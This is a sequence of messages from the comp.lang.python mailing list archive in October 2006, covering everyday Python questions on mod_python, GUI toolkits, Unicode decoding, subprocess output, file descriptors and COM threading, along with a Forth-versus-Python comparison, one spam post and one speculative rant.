data out of SF. Fredrik> http://effbot.org/zone/sandbox-sourceforge.htm Thanks for the memory jog. Before you wrote your scraper/downloader I seem to recall there were several only-semi-successful attempts to get SF to themselves dump the tracker data for us. That was what I was referring to. Skip From grahamd at dscpl.com.au Tue Oct 3 03:06:41 2006 From: grahamd at dscpl.com.au (grahamd at dscpl.com.au) Date: 3 Oct 2006 00:06:41 -0700 Subject: CGI -> mod_python References: <1159852046.487836.266980@m7g2000cwm.googlegroups.com> Message-ID: <1159859201.799152.126810@k70g2000cwa.googlegroups.com> bernhard.heinzel at gmail.com wrote: > Hi, > > it is a kind of nooby question. Is there a way to transfer a CGI python > script to mod_python without rewriting the code? Did you look in the mod_python documentation? http://www.modpython.org/live/current/doc-html/hand-cgi.html It certainly isn't the preferred way of using mod_python. You really should consider porting it properly to either mod_python or as someone else suggested, WSGI. Graham From kw at kevin-walzer.com Tue Oct 24 13:24:12 2006 From: kw at kevin-walzer.com (Kevin Walzer) Date: Tue, 24 Oct 2006 13:24:12 -0400 Subject: python GUIs comparison (want) In-Reply-To: <453e3ffa$0$26733$426a74cc@news.free.fr> References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <453E3370.9060008@kevin-walzer.com> <453e3c5a$0$23254$426a74cc@news.free.fr> <453E3F0B.6070606@kevin-walzer.com> <453e3ffa$0$26733$426a74cc@news.free.fr> Message-ID: <453E4C3C.6030001@kevin-walzer.com> Christophe wrote: > Kevin Walzer a ?crit : >> Christophe wrote: >> >>> Since when is "based on C++ toolkit" a con? >>> >> >> If you don't know C++ (as is the case with me), then it's difficult to >> do a C++-to-Python translation in looking at code examples. > > As if a toolkit based on C would be much easier. > > In fact, I would even say that C++ -> Python is much much easier than C > -> Python for GUI toolkits. Well, Tk isn't *based* on C (it's written in C, but it doesn't wrap a lower-level GUI framework for C). Tk is my preferred toolkit. But then, I'm a Tcl developer by background, and less experienced with Python. For what it's worth, the reason I learned Tcl before Python is because I wanted to learn a GUI package that was native/specific to the programming language in question, and Tcl/Tk is the only instance of this in scripting languages. With Python, as far as I know, every GUI toolkit in question was developed for another language (Tcl, C/C++, etc.), and is wrapped by Python. It makes learning GUI programming in Python a daunting task for a newbie. -- Kevin Walzer Code by Kevin http://www.codebykevin.com From python.sam at googlemail.com Fri Oct 6 19:53:19 2006 From: python.sam at googlemail.com (sam) Date: 6 Oct 2006 16:53:19 -0700 Subject: error handling in user input: is this natural or just laborious In-Reply-To: References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com> Message-ID: <1160178799.914895.28100@k70g2000cwa.googlegroups.com> you're right, of course. it occurred to me that, even if it were manageable for a few items, it would quickly become absurd as the number of items grew. this: def get_pct(): while True: pct_list=[['cash', 0], ['bond', 0], ['blue', 0], ['tech', 0], ['dev', 0]] total=0 for i in range(len(pct_list)): pct_list[i][1]=input('Please enter the percentage value for %s: ' %pct_list[i][0]) total+=pct_list[i][1] if total == 100: return pct_list break else: print "You've messed up, do it again..." is much better, and easily maintainable by adding to the assignment for pct_list. still leaves me with checking for strings though, in case someone types 'donut' at the prompt... From fulvio at tm.net.my Thu Oct 26 14:51:43 2006 From: fulvio at tm.net.my (Fulvio) Date: Fri, 27 Oct 2006 02:51:43 +0800 Subject: question about True values In-Reply-To: References: Message-ID: <200610270251.43700.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** On Thursday 26 October 2006 02:56, John Salerno wrote: > ?>>> s = 'hello' > ?>>> s == True > False > ?>>> if s: > ????????print 'hi' > this isn't only a python behavior. the ?"if" test is valid for all non-zero variables. only None, 0 and False make the condition to jump over. F From codecraig at gmail.com Wed Oct 18 10:26:25 2006 From: codecraig at gmail.com (abcd) Date: 18 Oct 2006 07:26:25 -0700 Subject: Image.draft -- what are the modes that I can use? In-Reply-To: References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com> <1161179376.827555.239810@i3g2000cwc.googlegroups.com> Message-ID: <1161181585.245045.41680@b28g2000cwb.googlegroups.com> Fredrik Lundh wrote: > to repeat myself: > > here's a tool that lets you use VNC to capture the screen, and then convert > the result to a flash animation: > > http://www.unixuser.org/~euske/vnc2swf/ > > is there a way to make animated GIFs with python? vnc2swf is to much for what i was hoping. i have no problem with installing python packages, but having to use VNC is a bit much. thanks. From BjornSteinarFjeldPettersen at gmail.com Mon Oct 30 02:24:48 2006 From: BjornSteinarFjeldPettersen at gmail.com (thebjorn) Date: 29 Oct 2006 23:24:48 -0800 Subject: Is there a way to get utf-8 out of a Unicode string? Message-ID: <1162193088.091894.269630@m73g2000cwd.googlegroups.com> I've got a database (ms sqlserver) that's (way) out of my control, where someone has stored utf-8 encoded Unicode data in regular varchar fields, so that e.g. the string 'Bl?b?rsyltet?y' is in the database as 'Bl\xc3\xa5b\xc3\xa6rsyltet\xc3\xb8y' :-/ Then I read the data out using adodbapi (which returns all strings as Unicode) and I get u'Bl\xc3\xa5b\xc3\xa6rsyltet\xc3\xb8y'. I couldn't find any way to get back to the original short of: def unfk(s): return eval(repr(s)[1:]).decode('utf-8') i.e. chopping off the u in the repr of a unicode string, and relying on eval to interpret the \xHH sequences. Is there a less hack'ish way to do this? -- bjorn From werty at swissinfo.org Thu Oct 12 01:03:58 2006 From: werty at swissinfo.org (werty) Date: 11 Oct 2006 22:03:58 -0700 Subject: Standard Forth versus Python: a case study In-Reply-To: References: Message-ID: <1160629438.895503.225980@c28g2000cwb.googlegroups.com> Apples/oranges ? programmers are making very little $$ today . Thats software ! No one is makin money on obsolete Forth , so why a comparisom ? Ultimately the best OpSys will be free and millions of lines of code obsoleted . Because no one can protect intellectual property , its simply too costly for a Government to do this . Notice the crypto fiasco , the USA govt forbad export of SSL and in short order Australia gave the world a free SSLeasy ! This is software . No one will , for long , own software . Microsoft and Linux will die in 24 months . No hardware will produce money/profits using them . Because we have a new hardware competitor , that obsoletes the BIOS chip , North bridge/South bridge USB helpers , NICs . No mo PNP (Plug_and_Pray) . In 2 chips ( CPU /SoC and LCD controller) it will be faster than a PC . 100's have allready written HDD drivers and haven't yet free'd them . But when others give free , what good do it to hold yours ! You look stupid selling what others improve and free . Trying to sell what others find easy to create ! Intel made hardware too hard to program , ARM is easy . Python wont last on ARM , for WCE and Linux will be tossed . A simpler structured method will be used to customise Browsers . There will be 2 columns , one on left will be main/orig but on the Right will have hyperlink result . This way ya dont have to go back to compare ! side by side . Text editors will also work this way . You will read orig in left columns and 'edit'/annotate your stuff to the Right columns . Sun microsystems et all ( the ones we seldom think about ) will all be obsoleted , bankrupted , their hardware surplused . No more h/w servers . There will be no high speed 64 bit boxes in the future . The Pocket PC will do work you could not imagine ! All will have 100 GB HDD , VGA LCD , USBH/USBD , WIFI N and no WERTY keyboard ! full GUI ... ethernet and firewire and rs232 will die Why not "see" the future ? No Linux ,no WXP , no C+ , no PC ..... John Doty wrote: > I realized that I have a little job on the table that is a fine test of > the Python versus Standard Forth code availability and reusability issue. > > Note that I have little experience with either Python or Standard Forth > (but I have much experience with a very nonstandard Forth). I've noodled > around a bit with both gforth and Python, but I've never done a serious > application in either. In my heart, I'm more of a Forth fan: Python is a > bit too much of a black box for my taste. But in the end, I have work to > get done. > > The problem: > > I have a bunch of image files in FITS format. For each raster row in > each file, I need to determine the median pixel value and subtract it > from all of the pixels in that row, and then write out the results as > new FITS files. > > This is a real problem I need to solve, not a made-up toy problem. I was > originally thinking of solving it in C (I know where to get the pieces > in that language), but it seemed like a good test problem for the Python > versus Forth issue. > > I looked to import FITS reading/writing, array manipulation, and median > determination. From there, the solution should be pretty easy. > > So, first look for a median function in Python. A little googling finds: > > http://www.astro.cornell.edu/staff/loredo/statpy/ > > Wow! This is good stuff! An embarrassment of riches here! There are even > several FITS modules, and I wasn't even looking for those yet. And just > for further gratification, the page's author is an old student of mine > (but I'll try not to let this influence my attitude). So, I followed the > link to: > > http://www.nmr.mgh.harvard.edu/Neural_Systems_Group/gary/python.html > > From there, I downloaded stats.py, and the two other modules the page > says it requires, and installed them in my site-packages directory. Then > "from stats import median" got me a function to approximately determine > the median of a list. It just worked. The approximation is good enough > for my purposes here. > > Pyfits required a little more resourcefulness, in part because STSCI's > ftp server was down yesterday, but I got it installed too. It helps that > when something is missing, the error message gives you a module name. It > needs the numarray module, so I got array manipulation as a side effect. > > I haven't finished the program, but I've tried out the pieces and all > looks well here. > > OK, now for Forth. Googling for "forth dup swap median" easily found: > > http://www.taygeta.com/fsl/library/find.seq > > At first blush, this looked really good for Forth. The search zeroed in > on just what I wanted, no extras. The algorithm is better than the one > in the Python stats module: it gives exact results, so there's no need > to check that an approximation is good enough. But then, the > disappointment came. > > What do you do with this file? It documents the words it depends on, but > not where to get them. I'm looking at a significant effort to assemble > the pieces here, an effort I didn't suffer through with Python. So, my > first question was: "Is it worth it?". > > The answer came from searching for FITS support in Forth. If it exists > in public, it must be really well hidden. That's a "show stopper", so > there was no point in pursuing the Forth approach further. > > In the end, it was like comparing a muzzle-loading sharpshooter's rifle > with a machine gun: Forth got off one really good shot, but Python just > mowed the problems down. > > The advocates of the idea that Standard Forth has been a boon to code > reusability seem mostly to be people with large private libraries of > Forth legacy code. No doubt to them it really has been a boon. But I > think this little experiment shows that for the rest of us, Python has a > published base of reusable code that puts Forth to shame. > > -- > John Doty, Noqsi Aerospace, Ltd. > -- > Specialization is for robots. From sjdevnull at yahoo.com Mon Oct 16 17:17:40 2006 From: sjdevnull at yahoo.com (sjdevnull at yahoo.com) Date: 16 Oct 2006 14:17:40 -0700 Subject: Output from subprocess.Popen() In-Reply-To: <1160923622.901247.310170@b28g2000cwb.googlegroups.com> References: <1160923622.901247.310170@b28g2000cwb.googlegroups.com> Message-ID: <1161033460.506489.96820@b28g2000cwb.googlegroups.com> Clodoaldo Pinto Neto wrote: > Output from the shell: > > [cpn at s0 teste]$ set | grep IFS > IFS=$' \t\n' > > Output from subprocess.Popen(): > > >>> import subprocess as sub > >>> p = sub.Popen('set | grep IFS', shell=True, stdout=sub.PIPE) > >>> p.stdout.readlines()[1] > "IFS=' \t\n" > > Both outputs for comparison: > IFS=$' \t\n' > "IFS=' \t\n" > > The subprocess.Popen() output is missing the $ and the last ' > > How to get the raw shell output from subprocess.Popen()? You are getting the raw shell output, it's just that subprocess uses the default shell (/bin/sh) and not your personal shell. Try running /bin/sh and run the set|grep command. I can't see any obvious way to ask subprocess to use a shell other than the default. If you need a particular shell, you could use a shell script, e.g. myscript.sh: #!/bin/bash set|grep IFS and call that with shell=False p = sub.Popen('/path/to/myscript.sh', stdout=sub.PIPE) From claird at lairds.us Thu Oct 5 17:26:41 2006 From: claird at lairds.us (Cameron Laird) Date: Thu, 5 Oct 2006 21:26:41 +0000 Subject: tkinter newsgroup or mailing list References: Message-ID: In article , Steve Holden wrote: >Franz Steinhaeusler wrote: >> Hello NG, >> >> I'm asking this, (although I know a mailing list on gmane >> gmane.comp.python.tkinter and there is so little traffic >> compared to the mailing list of wxPython also mirrored >> on gmane gmane.comp.python.wxpython. >> >> I cannot imagine, that there is no more interest >> in exchanging opinions, or is this really the case? >> >> Is tkinter so simple, that no more questions appear? >> Or is it simply so uninteresting? :) >> >Tkinter questions tend to get asked and answered on this list. Try >searching it and you'll see there's still plenty of interest! . . . Not all of them, Steve; you'll want to notice also. From fredrik at pythonware.com Fri Oct 6 06:59:14 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 06 Oct 2006 12:59:14 +0200 Subject: how to convert UNICODE to integer in Python? In-Reply-To: <1160132024.709430.63080@b28g2000cwb.googlegroups.com> References: <1160132024.709430.63080@b28g2000cwb.googlegroups.com> Message-ID: kath wrote: > xldays = int(xldate) > ValueError: invalid literal for int(): Date > > because xlrd.xldate_as_tuple() function expects first argument to be an > integer. How do I convert an unicode character to integer, so that I > could get the date using xlrd.xldate_as_tuple() function. the error doesn't say anything about Unicode characters, it says that someone's passing the string "Date" to the int() function. >>> int("Date") Traceback (most recent call last): File "", line 1, in ? ValueError: invalid literal for int(): Date From daniele.varrazzo at gmail.com Tue Oct 3 11:01:54 2006 From: daniele.varrazzo at gmail.com (Daniele Varrazzo) Date: 3 Oct 2006 08:01:54 -0700 Subject: Benchmarking Python's subroutines/function In-Reply-To: References: Message-ID: <1159887711.549393.87070@k70g2000cwa.googlegroups.com> Wijaya Edward ha scritto: > Hi, > > How does one benchmark > multiple subroutines in Python? > Is there a built-in library for that? the timeit module, and the Python profile for a deeper insight. See "The Python Profiler" in the Python Library Reference. > > -- > Regards, > Edward WIJAYA > SINGAPORE > > ------------ Institute For Infocomm Research - Disclaimer ------------- > This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. > -------------------------------------------------------- From BjornSteinarFjeldPettersen at gmail.com Mon Oct 30 04:15:03 2006 From: BjornSteinarFjeldPettersen at gmail.com (thebjorn) Date: 30 Oct 2006 01:15:03 -0800 Subject: Is there a way to get utf-8 out of a Unicode string? In-Reply-To: References: <1162193088.091894.269630@m73g2000cwd.googlegroups.com> Message-ID: <1162199703.081370.85440@i42g2000cwa.googlegroups.com> Gerrit Holl wrote: > Hei, > > On 2006-10-30 08:25:41 +0100, thebjorn wrote: > > def unfk(s): > > return eval(repr(s)[1:]).decode('utf-8') > > ... > > Is there a less hack'ish way to do this? > > Slightly lack hackish: > > return ''.join(chr(ord(c)) for c in s) Much less hackish :-) -- bjorn From grd6dinesh at gmail.com Tue Oct 10 23:55:07 2006 From: grd6dinesh at gmail.com (dinesh) Date: 10 Oct 2006 20:55:07 -0700 Subject: Get everything you need for a successful Marketing Campaign Today! Message-ID: <1160538907.689873.309800@m7g2000cwm.googlegroups.com> Get everything you need for a successful Marketing Campaign Today! Marketing Software - Promotion Center - Guaranteed Visitors - Guaranteed Signups Solo Emails - 1 Million Opt In Leads - Banner ads - Website Submission and Lots More http://www.typeinternational.com/idevaffiliate/idevaffiliate.php?id=5386_34_3_74 From andrei.zavidei at gmail.com Mon Oct 2 11:50:55 2006 From: andrei.zavidei at gmail.com (andrei.zavidei at gmail.com) Date: 2 Oct 2006 08:50:55 -0700 Subject: Multiplayer 2-D space action shooter in Python (using wxWindows) Message-ID: <1159804255.878456.223820@c28g2000cwb.googlegroups.com> Hi guys, Well, here is my humble contribution to the community: http://sourceforge.net/projects/erocket I started that project to learn Python and wxWindows. By all means, I am no Python Guru, but maybe someone could find something useful. Also please consider that it is under development and is far from being finished. Best regards, Andrei From martin at v.loewis.de Mon Oct 30 16:18:32 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Mon, 30 Oct 2006 22:18:32 +0100 Subject: Compile Python With SSL On Solaris 10 In-Reply-To: <1162219833.769046.64960@m73g2000cwd.googlegroups.com> References: <1162219833.769046.64960@m73g2000cwd.googlegroups.com> Message-ID: <45466C28.4040909@v.loewis.de> judasi at gmail.com schrieb: > I am trying to compile py2.4.3/2.5 on a Solaris 10x86 machine, but > cannot get it to build an SSL enabled version. I have added the > relevant sfw directories into the path/crle, with no success. I've > even explicitly added ssl via the --with-libs directive, yet an import > _ssl still fails. > > Has anyone else come across this? setup.py ignores all this. You have to edit Modules/Setup if you want to specify non-standard search locations for header files and libraries. Regards, Martin From Luwian at gmail.com Sun Oct 22 12:09:54 2006 From: Luwian at gmail.com (Lucas) Date: 22 Oct 2006 09:09:54 -0700 Subject: How to print a file in binary mode In-Reply-To: References: <1161519385.614985.311240@m73g2000cwd.googlegroups.com> <1161524030.833422.216370@k70g2000cwa.googlegroups.com> Message-ID: <1161533394.483372.140500@m7g2000cwm.googlegroups.com> well, if I just open the file in binary mode, and write a string,e.g '660', how do i read the result? I means I need print the binary in screen. do these? fileWrite = open('a.jpg',''ab') fileWrite.write('660') fileWrite.close() fileRead = open('a.jpg','rb') b = fileRead.read() fileRead.close() print b ??????? Thanks again Fredrik Lundh wrote: > Lucas wrote: > > > I do it because I want to encrypt a string into a picture using RSA > > algorithm. > > what does "into" mean? are you supposed to encrypt the binary data > representing the JPEG image, or embed a message into the actual image? > > > so I first convert the string to binary,and then saving the binary > > into picture > > you seem to have a rather fuzzy understanding of the words "string" and > "binary" here. if you read from a file that's opened in binary mode, > you get an 8-bit string that contains the binary data. there's no need > for any conversion here; just use the data you got from "read". > > > finally, print the picture by binary! > > do you mean "save the picture to a binary file", or something else? > > From fredrik at pythonware.com Sun Oct 1 13:24:22 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 01 Oct 2006 19:24:22 +0200 Subject: Is this a bug? Python intermittently stops dead for seconds In-Reply-To: References: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net> Message-ID: Roel Schroeven wrote: > AFAIK Python always does reference counting, and the garbage collector > is used only for more difficult cases. As the gc module docs say: > "Since the collector supplements the reference counting already used in > Python, you can disable the collector if you are sure your program does > not create reference cycles." > > I don't know if that's only true for CPython or also for the other > implementations. CPython always uses reference counting, but that's not guaranteed by the language specification: "Objects are never explicitly destroyed; however, when they become unreachable they may be garbage-collected. An implementation is allowed to postpone garbage collection or omit it altogether -- it is a matter of implementation quality how garbage collection is implemented, as long as no objects are collected that are still reachable." http://pyref.infogami.com/objects From grante at visi.com Wed Oct 11 10:54:20 2006 From: grante at visi.com (Grant Edwards) Date: Wed, 11 Oct 2006 14:54:20 -0000 Subject: OT: Sarcasm and irony References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com> <12iosfh75stcf0e@corp.supernews.com> Message-ID: <12iq1csdgd8b7c2@corp.supernews.com> On 2006-10-11, Ben Finney wrote: > Grant Edwards writes: > >> Sarcasm is a form of irony. Irony is when what is meant is >> different from the obvious literal meaning of the statement. > > Irony need not have anything to do with the meaning and intent of the > speaker. Indeed, irony can occur when there is no communication at > all; an ironic outcome does not require anyone to have said or > communicated anything. > >> Like Alanis Morisette said about the song "Isn't it Ironic": What's >> ironic about the song is that it doesn't actually contain any irony. > > What source do you have for Morissette saying that? I read it on some english-usage web site -- I wouldn't regard it as very authoritative in regards to the Alanis Morisette quote. > I've seen many people saying it *about* her song, but nothing > from her that isn't just repeating what others have said. -- Grant Edwards grante Yow! I request a weekend at in Havana with Phil visi.com Silvers! From hg at nospam.com Thu Oct 12 21:44:29 2006 From: hg at nospam.com (hg) Date: Thu, 12 Oct 2006 20:44:29 -0500 Subject: COM and Threads In-Reply-To: <1160703286.841671.109210@b28g2000cwb.googlegroups.com> References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com> Message-ID: Teja wrote: > I have an application which uses COM 's Dispatch to create a COM based > object. Now I need to upgrade the application to a threaded one. But > its giving an error that COM and threads wont go together. Specifically > its an attribute error at the point where COM object is invoked. Any > pointers please?????? > If COM is not thread safe, then use processes From rpdooling at gmail.com Wed Oct 25 11:43:09 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 25 Oct 2006 08:43:09 -0700 Subject: python GUIs comparison (want) In-Reply-To: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> Message-ID: <1161790989.759272.49650@b28g2000cwb.googlegroups.com> Well, I am woefully unqualified to speak to the general state of Python gui frameworks, but I am in a similar situation as the OP, i.e., a beginner looking to TRY some easy gui programming in Python. Not being a computer science person, just an amateur scripter, I tend to learn best from lots of examples. With all of that as background, I downloaded the latest wxPython demos and docs yesterday. I suggest that the OP do the same. The demo.py program is an amazing piece of work. It's loaded with specific examples which allow you to view the frame or dialog etc, and then look behind it to see the code used to create it. rd From hanumizzle at gmail.com Wed Oct 11 04:42:37 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 04:42:37 -0400 Subject: People's names In-Reply-To: References: Message-ID: <463ff4860610110142h72fe5fcdv69f9fc19a5a46751@mail.gmail.com> On 10/11/06, Roel Schroeven wrote: > My observation is that in general names keep hanging on to archaic forms > much longer than normal language. Examples: > > - A very common name around here is Hendrickx. In normal language, the > 'ckx' construction is replaced with 'ks'. > - 'Straat' (English: 'street') (or 'straten' in multiple) used to be > written 'straet' ('straeten'); in names it is still written like that: > 'Verstraeten' is a common name. 'Verstraten' exists too though, but is > less common I think. > > But I can't think of that many names with 'der', so maybe the > declensions have been dropped already. Dutch 2.5. kekekekeke I will be touring Flanders and seeing friends up there soon, actually. -- Theerasak From martin at v.loewis.de Thu Oct 5 14:22:17 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Thu, 05 Oct 2006 20:22:17 +0200 Subject: MySQLdb for Python 2.5 In-Reply-To: <1160061665.096861.313340@b28g2000cwb.googlegroups.com> References: <5_ednYPtY9vSSoDYnZ2dnUVZ_rqdnZ2d@insightbb.com> <451e25f3$0$25620$9b622d9e@news.freenet.de> <1160061665.096861.313340@b28g2000cwb.googlegroups.com> Message-ID: <45254D59.3080804@v.loewis.de> FatherAntox schrieb: >> AFAICT, MySQLdb 1.2.1 builds and works just fine. >> > > What is your setup as I am receiving a number of "Cannot open ..." > errors related to various msysql libraries and includes? I am running > in a Windows XP environment with MySQL 5.1. Thanks in advance. I have been using Debian unstable. As I said, it built out of the box (I actually built the Debian source package, adding 2.5 to the list of target versions). Regards, Martin From usenet-mail-0306.20.chr0n0ss at spamgourmet.com Tue Oct 31 13:26:40 2006 From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann) Date: Tue, 31 Oct 2006 19:26:40 +0100 Subject: Event driven server that wastes CPU when threaded doesn't References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com> <1162156412.199341.315540@i42g2000cwa.googlegroups.com> <4qlmncFnjfn7U1@individual.net> Message-ID: <4qpir0Fobb1jU1@individual.net> Fredrik Lundh wrote: > by running the database queries in one or more separate threads, > you can still serve requests that don't hit the database (either > because they're entirely self-contained, or because they only rely > on cached data). Nothing that couldn't also be solved without threads. :) Regards, Bj?rn -- BOFH excuse #362: Plasma conduit breach From eldiener_no_spam_here at earthlink.net Mon Oct 9 13:59:18 2006 From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam) Date: Mon, 09 Oct 2006 17:59:18 GMT Subject: Python component model Message-ID: The definition of a component model I use below is a class which allows properties, methods, and events in a structured way which can be recognized, usually through some form of introspection outside of that class. This structured way allows visual tools to host components, and allows programmers to build applications and libraries visually in a RAD environment. The Java language has JavaBeans as its component model which allows Java applications to be built in a visual RAD way. Microsoft's .Net has a component model built-in to its .Net class libraries as well as supported by CLR which allows .Net applications to be built visually using components created in any .Net supported language. With Python things are different. There is no single component model which allows Python developers to build components which will be used and recognized by the various RAD Python tools on the market. Instead a developer must create a slightly different set of Python classes for each RAD Python tool. This is the situation despite Python's having easily as much functionality, if not much more, as Java or .Net languages such as C#, VB, or C++/CLI for creating components, and for allowing visual tools to introspect the properties, methods, and events of Python classes. I believe that Python should have a common components model for all RAD development environments, as that would allow the Python programmer to create a set of classes representing components which would work in any environment. I want to immediately point out that components do not simply mean visual GUI components but what may be even more important, non-visual components. Having used RAD development environments to create applications, I have found such environments almost always much better than coding complex interactions manually, and I believe that visual development environments are almost a necessity in today's world of large-scale, multi-tier, and enterprise applications. Has there ever been, or is there presently anybody, in the Python developer community who sees the same need and is working toward that goal of a common component model in Python, blessed and encouraged by those who maintain the Python language and standard modules themselves ? From fulvio at tm.net.my Tue Oct 24 11:41:36 2006 From: fulvio at tm.net.my (Fulvio) Date: Tue, 24 Oct 2006 23:41:36 +0800 Subject: Handling emails In-Reply-To: <1161630451.506987.207820@h48g2000cwc.googlegroups.com> References: <1161630451.506987.207820@h48g2000cwc.googlegroups.com> Message-ID: <200610242341.36260.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** On Tuesday 24 October 2006 03:07, Gerard Flanagan wrote: > The 'PopClient' class here might help you: Thank you, both for the replies. Gerard, Surely I'll peep on that code ;-) to gather a wider perspective. A small negative point is that for pop deals I've gotten a good success :-) But I don't give up, perhaps it there'll be some good idea. I'm more interested for the IMAP side of the issue, even I might avoid for my own purposes. Last, suppose to publish the "thing" where will it be the appropriate site? At the present my program can do filtering and sincronizing with local MUA trash. Small problems with IMAP protocol, but it may work for POP3 or IMAP4 on regex filter options. Alfa testers (cooperators) needed ;-) F From hanumizzle at gmail.com Wed Oct 11 04:13:21 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 04:13:21 -0400 Subject: OT: Sarcasm and irony In-Reply-To: <873b9v6zt4.fsf@benfinney.id.au> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com> <12iosfh75stcf0e@corp.supernews.com> <1160544879.915425.250200@m7g2000cwm.googlegroups.com> <463ff4860610102244y348d8b5alc8247e84775d1cd3@mail.gmail.com> <873b9v6zt4.fsf@benfinney.id.au> Message-ID: <463ff4860610110113r74f47939he31e0c31a6964d19@mail.gmail.com> On 10/11/06, Ben Finney wrote: > "Theerasak Photha" writes: > > > I hate June. June sucks. Blindly following some Roman custom relating > > to Juno (the real reason why people have June weddings) > > Well, our traditions and ceremonies in the anti-podes (thanks SteveH) > are very Euro-centric; but we still have our weddings in the hot > months of November through February, so Juno has nothing to do with > it. I think it's nothing more than the expectation that the weather > will be clear. I'm positive on very few things, but I am certain that the Western wedding custom for favoring June has to do with Juno. (That and it's Woden's Day here in EST time zone as I write.) Back in those days, the Roman bride wore some kind of knotted leather thingie to the wedding. Interesting... -- Theerasak From durumdara at gmail.com Wed Oct 11 04:08:53 2006 From: durumdara at gmail.com (durumdara) Date: Wed, 11 Oct 2006 10:08:53 +0200 Subject: PyDoc and mod_python Message-ID: <452CA695.60205@gmail.com> Hi ! I need to write documentation for my mod_python website, for the base classes, functions, modules. The problem, that mod_python is imported "apache" that not existing in the normal, pythonic way (only in Apache). If my source is containing a tag that use this module, or it's submodule, the pydoc is not working. ### test.py ### from mod_python import apache ... The result is. c:\>c:\python24\Lib\pydoc.py c:\test.py problem in c:\test.py - ImportError: No module named _apache So I need a cheat, or I need to force the pydoc to avoid to parse these modules... Is anybody have an experience, how can I do it ? Thanks for it: dd From didier-dot-trosset at acqiris.com Fri Oct 6 07:14:50 2006 From: didier-dot-trosset at acqiris.com (Didier Trosset) Date: Fri, 06 Oct 2006 13:14:50 +0200 Subject: Copying file descriptors Message-ID: <45263aab$0$296$426a74cc@news.free.fr> I am using the following code. It is used to spawn a new process (using popen) and to change the file handles so that subsequent writes to standard output with printf goes into this child process standard input. import os child_stdin = os.popen("cat -", "w") old_stdout = os.dup(1) os.close(child_stdin.fileno()) print "foo" os.dup2(old_stdout, 1) os.close(old_stdout) It works. But the results is: close failed: [Errno 9] Bad file descriptor when I am using python 2.4. Note that python 2.3 did not output such an error. I am guessing that upon ending the script, python tries to close child_stdin file object, whereas the underlying file descriptor has already been closed. Thus the error. Does anyone knows what to do to avoir this error message? Thanks Didier From grflanagan at yahoo.co.uk Wed Oct 25 07:36:23 2006 From: grflanagan at yahoo.co.uk (Gerard Flanagan) Date: 25 Oct 2006 04:36:23 -0700 Subject: Handling emails In-Reply-To: References: <1161630451.506987.207820@h48g2000cwc.googlegroups.com> Message-ID: <1161776182.991182.321490@b28g2000cwb.googlegroups.com> Fulvio wrote: > On Tuesday 24 October 2006 03:07, Gerard Flanagan wrote: > > The 'PopClient' class here might help you: > > I got a look rather later. Let me say that is impressively pythonic :-) I don't know if everyone would agree with you, but thanks! Have you looked at the email.utils module? Some useful functions there. All the best Gerard From hanumizzle at gmail.com Fri Oct 6 01:32:24 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 01:32:24 -0400 Subject: was python implemented as a object oriented langage at the beginning ? In-Reply-To: <45236f74$0$19034$426a74cc@news.free.fr> References: <1159879673.081812.124460@i3g2000cwc.googlegroups.com> <1159913594.141208.280030@i3g2000cwc.googlegroups.com> <45236f74$0$19034$426a74cc@news.free.fr> Message-ID: <463ff4860610052232y59b41b3eye8af47a24d08462d@mail.gmail.com> On 10/4/06, Bruno Desthuilliers wrote: > has wrote: > > Python's type/class > > distinction > > Which "type/class" distinction ? I think he means pre 2.2. (?) From jorge.com.br at gmail.com Fri Oct 6 14:34:37 2006 From: jorge.com.br at gmail.com (Jorge Vilela) Date: Fri, 6 Oct 2006 14:34:37 -0400 Subject: Rich text processor component Message-ID: <4cfa17b10610061134v7cce994eke2e14da8bf13944c@mail.gmail.com> Hello, do anyone know if exists anything about rich text processor in python, as a component or good tutorial about it? Thanks -------------- next part -------------- An HTML attachment was scrubbed... URL: From python.list at tim.thechases.com Tue Oct 17 09:48:58 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Tue, 17 Oct 2006 08:48:58 -0500 Subject: Tertiary Operation In-Reply-To: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> Message-ID: <4534DF4A.2030007@tim.thechases.com> > x = None > result = (x is None and "" or str(x)) > > print result, type(result) > > --------------- > OUTPUT > --------------- > None > > > y = 5 > result = (y is 5 and "it's five" or "it's not five") > > print result > > ------------- > OUTPUT > ------------- > it's five > > ...what's wrong with the first operation I did with 